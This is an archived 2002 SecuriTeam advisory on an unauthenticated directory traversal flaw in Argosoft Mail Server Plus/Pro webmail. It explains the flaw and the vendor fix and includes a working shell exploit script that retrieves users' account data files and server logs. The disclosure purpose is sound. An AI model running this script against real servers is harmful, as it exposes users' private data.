

[NT] Argosoft Mail Server Plus/Pro Webmail Reverse Directory Traversal

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0013.html>

From: support@securiteam.com

Date: 07/07/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sun, 7 Jul 2002 00:33:48 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Argosoft Mail Server Plus/Pro Webmail Reverse Directory Traversal

SUMMARY

Argosoft Mail Server Pro contains a built-in HTTP server for webmail access. Without logging in, an attacker can do a reverse directory traversal to retrieve any file on the drive that System can read by specifying a series of "/" after the path to the images of the webmail server or of the mail attachments for a valid user.

DETAILS

Systems Affected:

Any Windows system using the webmail feature of Argosoft Mail Server Plus / Pro <= 1.8.1.5

The freeware edition of Argosoft Mail Server is not vulnerable.

Impact:

An attacker can retrieve any file on the disk readable by the mail server.

The filename and relative path needs to be specified, as directory listings are not generated. Executable files are also not run as this is not supported by the webmail.

Securiteam: [NT] Argosoft Mail Server Plus/Pro Webmail Reverse Directory Traversal

Explanation:

Argosoft Mail Server comes in three versions: Freeware, Plus, and Pro. The Plus and Pro versions come with a build-in web server to provide simple Webmail access to users' mail.

The webmail server does not check for reverse directory traversal. This allows an attacker to exploit the images or attachments directory to list the contents of files on the drive.

In addition, normally, a user will have to log into Argosoft Mail Server Pro's webmail in order to read his mail and attachments. However, it allows non-authenticated users to retrieve files via the attachments URL, as long as a valid path is specified. This can be exploited to retrieve the attachments of users in certain conditions, or can also be reverse traversed.

While the attachments folder is deleted once the user logs out of the webmail or after 20 minutes of inactivity, this exploit will work even if the attachments folder is not present.

Solution:

The vendor has released a new version at:

[<http://www.argosoft.com/applications/mailserver/>](http://www.argosoft.com/applications/mailserver/)

<http://www.argosoft.com/applications/mailserver/>

Exploit Code:

```
#!/bin/sh
#
# released on 06/07/2002 by team n.finity <nfinity@gmx.net>
# find us at http://nfinity.yoll.net/
#
# argospill.sh
```

```
HOST=$1
USER=$2
DOMAIN=$3
```

```
startpro()
{
  echo -e "\nSpilling user $USER @ $DOMAIN, host $HOST (Pro)\n"
  URL=/_users/$DOMAIN/$USER/_tempatt/./userdata.rec
  /usr/bin/lynx -dump http://\$HOST\$URL
}
```

```
startplus()
{
  echo -e "\nSpilling user $USER, host $HOST (Plus)\n"
  URL=$USER/_tempatt/./userdata.rec
  /usr/bin/lynx -dump http://\$HOST\$URL
}
```

Securiteam: [NT] Argosoft Mail Server Plus/Pro Webmail Reverse Directory Traversal

```
startboth()
{
  echo -e "\nSpilling host $HOST (Plus / Pro)\n"
  URL=/images/./_logs/^date -d '-1 day' +%Y-%m-%d`.txt
  /usr/bin/lynx -dump http://$HOST$URL
}
```

```
usage()
{
  echo -e "\nUsage:\n"
  echo "Both - $0 <host>"
  echo "Pro - $0 <host> <user> <domain>"
  echo "Plus - $0 <host> <user>"
  echo -e "\nExample:\n"
  echo "Both, images dir - $0 www.test.com"
  echo "Plus, no dom req - $0 www.test.com me"
  echo "Pro, default dom - $0 www.test.com me _nodomain"
  echo "Pro, virtual dom - $0 www.test.com me test.com"
}
```

```
echo "Argospill 1.0 by Team N.finity"
```

```
if [ -n "$HOST" ]; then
  if [ -n "$USER" ]; then
    if [ -n "$DOMAIN" ]; then
      startpro
    else
      startplus
    fi
  else
    startboth
  fi
else
  usage
fi
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:nfinity@gmx.net>> Team N.finity Security Advisory.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [NT] Argosoft Mail Server Plus/Pro Webmail Reverse Directory Traversal

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- *Previous message:* support@securiteam.com: "[\[UNIX\] NN Vulnerable to a Remote Format String Vulnerability](#)"
- *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)